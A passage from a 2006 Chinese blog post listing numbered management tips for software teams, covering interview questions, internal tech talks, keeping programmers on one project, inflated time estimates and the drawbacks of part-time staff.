  要的。我最喜欢让人做字符串和链表一类的题目。这种题目有很多循环、判断、指针、递归等,既不偏向过于考算法,也不偏向过于考特定的API。

72. 你们有没有技术交流讲座?
  要的。每一两个礼拜搞一次内部的Tech Talk或者Chalk Talk吧。让组员之间分享技术心得,这笔花钱送到外面去培训划算。

73. 你们的程序员都能专注于一件事情么?
  要让程序员专注一件事。例如说,一个部门有两个项目和10个人,一种方法是让10个人同时参加两个项目,每个项目上每个人都花50%时间;另一种方法是5个人去项目A,5个人去项目B,每个人都100%在某一个项目上。我一定选后面一种。这个道理很多人都懂,但很多领导实践起来就把属下当成可以任意拆分的资源了。

74. 你们的程序员会夸大完成某项工作所需要的时间么?
  会的,这是常见的,尤其会在项目后期夸大做某个change所需要的时间,以次来抵制change。解决的方法是坐下来慢慢磨,磨掉程序员的逆反心理,一起分析,并把估算时间的颗粒度变小。

75. 尽量不要用Virtual Heads 最好不要用Virtual Heads。
  Virtual heads意味着resource is not secure,shared resource会降低resource的工作效率,容易增加出错的机会,会让一心二用的人没有太多时间去review spec、review design。一个dedicated的人,要强过两个只能投入50%时间和精力的人。我是吃过亏的:7个part time的tester,发现的Bug和干的活,加起来还不如两个full-time的。参见第73条。73条是针对程序员的,75条是针对Resource Manager的。

 

posted @ 2006-04-15 22:19 MEYE 阅读(273) | 评论 (0)编辑 收藏